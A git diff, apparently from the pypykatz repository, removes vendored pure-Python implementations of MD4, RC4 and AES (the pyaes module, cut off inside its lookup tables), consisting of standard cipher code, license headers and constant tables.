-		return self.hexdigest()
-
-	def __eq__(self, other):
-		return self.h == other.h
-
-	def bytes(self):
-		""":return: The final hash value as a `bytes` object."""
-		return struct.pack("<4L", *self.h)
-
-	def hexbytes(self):
-		""":return: The final hash value as hexbytes."""
-		return self.hexdigest().encode
-
-	def hexdigest(self):
-		""":return: The final hash value as a hexstring."""
-		return "".join(f"{value:02x}" for value in self.bytes())
-	
-	def digest(self):
-		return self.bytes()
-
-	def _process(self, chunks):
-		for chunk in chunks:
-			X, h = list(struct.unpack("<16I", chunk)), self.h.copy()
-
-			# Round 1.
-			Xi = [3, 7, 11, 19]
-			for n in range(16):
-				i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
-				K, S = n, Xi[n % 4]
-				hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]
-				h[i] = MD4.lrot(hn & MD4.mask, S)
-
-			# Round 2.
-			Xi = [3, 5, 9, 13]
-			for n in range(16):
-				i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
-				K, S = n % 4 * 4 + n // 4, Xi[n % 4]
-				hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999
-				h[i] = MD4.lrot(hn & MD4.mask, S)
-
-			# Round 3.
-			Xi = [3, 9, 11, 15]
-			Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]
-			for n in range(16):
-				i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
-				K, S = Ki[n], Xi[n % 4]
-				hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1
-				h[i] = MD4.lrot(hn & MD4.mask, S)
-
-			self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]
-
-	@staticmethod
-	def F(x, y, z):
-		return (x & y) | (~x & z)
-
-	@staticmethod
-	def G(x, y, z):
-		return (x & y) | (x & z) | (y & z)
-
-	@staticmethod
-	def H(x, y, z):
-		return x ^ y ^ z
-
-	@staticmethod
-	def lrot(value, n):
-		lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)
-		return lbits | rbits
-
-
-def main():
-	# Import is intentionally delayed.
-	import sys
-
-	if len(sys.argv) > 1:
-		messages = [msg.encode() for msg in sys.argv[1:]]
-		for message in messages:
-			print(MD4(message).hexdigest())
-	else:
-		messages = [b"", b"The quick brown fox jumps over the lazy dog", b"BEES"]
-		known_hashes = [
-			"31d6cfe0d16ae931b73c59d7e0c089c0",
-			"1bee69a46ba811185c194762abaeae90",
-			"501af1ef4b68495b5b7e37b15b4cda68",
-		]
-
-		print("Testing the MD4 class.")
-		print()
-
-		for message, expected in zip(messages, known_hashes):
-			print("Message: ", message)
-			print("Expected:", expected)
-			print("Actual:  ", MD4(message).hexdigest())
-			print()
-
-
-if __name__ == "__main__":
-	try:
-		main()
-	except KeyboardInterrupt:
-		pass
diff --git a/pypykatz/crypto/RC4.py b/pypykatz/crypto/RC4.py
deleted file mode 100644
index 0f948e4..0000000
--- a/pypykatz/crypto/RC4.py
+++ /dev/null
@@ -1,64 +0,0 @@
-#!/usr/bin/env python
-
-
-"""
-    https://raw.githubusercontent.com/bozhu/RC4-Python/master/rc4.py
-
-    Copyright (C) 2012 Bo Zhu http://about.bozhu.me
-
-    Permission is hereby granted, free of charge, to any person obtaining a
-    copy of this software and associated documentation files (the "Software"),
-    to deal in the Software without restriction, including without limitation
-    the rights to use, copy, modify, merge, publish, distribute, sublicense,
-    and/or sell copies of the Software, and to permit persons to whom the
-    Software is furnished to do so, subject to the following conditions:
-
-    The above copyright notice and this permission notice shall be included in
-    all copies or substantial portions of the Software.
-
-    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-    DEALINGS IN THE SOFTWARE.
-"""
-class RC4:
-    def __init__(self, key):
-        self.key  = key
-        self.S    = self.KSA()
-        self.keystream = self.PRGA()
-
-    def KSA(self):
-        keylength = len(self.key)
-
-        S = list(range(256))
-
-        j = 0
-        for i in range(256):
-            j = (j + S[i] + self.key[i % keylength]) % 256
-            S[i], S[j] = S[j], S[i]  # swap
-
-        return S
-
-    def PRGA(self):
-        i = 0
-        j = 0
-        while True:
-            i = (i + 1) % 256
-            j = (j + self.S[i]) % 256
-            self.S[i], self.S[j] = self.S[j], self.S[i]  # swap
-
-            K = self.S[(self.S[i] + self.S[j]) % 256]
-            yield K
-
-
-    def encrypt(self, data):
-        res = b''
-        for b in data:
-            res += (b ^ next(self.keystream)).to_bytes(1, byteorder = 'big', signed = False)
-        return res
-
-    def decrypt(self, data):
-        return self.encrypt(data)
\ No newline at end of file
diff --git a/pypykatz/crypto/aes/AES.py b/pypykatz/crypto/aes/AES.py
deleted file mode 100644
index 0c21d1c..0000000
--- a/pypykatz/crypto/aes/AES.py
+++ /dev/null
@@ -1,591 +0,0 @@
-
-#https://github.com/ricmoo/pyaes/blob/master/pyaes/aes.py
-# The MIT License (MIT)
-#
-# Copyright (c) 2014 Richard Moore
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in
-# all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-
-# This is a pure-Python implementation of the AES algorithm and AES common
-# modes of operation.
-
-# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
-
-# Honestly, the best description of the modes of operations are the wonderful
-# diagrams on Wikipedia. They explain in moments what my words could never
-# achieve. Hence the inline documentation here is sparer than I'd prefer.
-# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
-
-# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
-# https://www.dlitz.net/software/pycrypto/
-
-
-# Supported key sizes:
-#   128-bit
-#   192-bit
-#   256-bit
-
-
-# Supported modes of operation:
-#   ECB - Electronic Codebook
-#   CBC - Cipher-Block Chaining
-#   CFB - Cipher Feedback
-#   OFB - Output Feedback
-#   CTR - Counter
-
-
-# See the README.md for API details and general information.
-
-
-import copy
-import struct
-
-__all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB",
-           "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"]
-
-
-def _compact_word(word):
-    return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
-
-def _string_to_bytes(text):
-    return list(ord(c) for c in text)
-
-def _bytes_to_string(binary):
-    return "".join(chr(b) for b in binary)
-
-def _concat_list(a, b):
-    return a + b
-
-
-# Python 3 compatibility
-try:
-    xrange
-except Exception:
-    xrange = range
-
-    # Python 3 supports bytes, which is already an array of integers
-    def _string_to_bytes(text):
-        if isinstance(text, bytes):
-            return text
-        return [ord(c) for c in text]
-
-    # In Python 3, we return bytes
-    def _bytes_to_string(binary):
-        return bytes(binary)
-
-    # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
-    def _concat_list(a, b):
-        return a + bytes(b)
-
-
-# Based *largely* on the Rijndael implementation
-# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
-class AES(object):
-    '''Encapsulates the AES block cipher.
-
-    You generally should not need this. Use the AESModeOfOperation classes
-    below instead.'''
-
-    # Number of rounds by keysize
-    number_of_rounds = {16: 10, 24: 12, 32: 14}
-
-    # Round constant words
-    rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
-
-    # S-box and Inverse S-box (S is for Substitution)
-    S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
-    Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] 
-
-    # Transformations for encryption
-    T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
-    T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
-    T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
